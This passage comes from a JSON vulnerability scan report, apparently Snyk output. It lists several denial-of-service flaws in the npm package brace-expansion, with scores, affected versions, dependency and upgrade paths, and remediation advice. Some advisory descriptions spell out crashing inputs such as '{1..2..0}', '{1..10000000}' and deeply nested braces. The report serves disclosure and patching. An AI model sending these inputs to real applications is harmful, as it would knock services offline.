"npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", 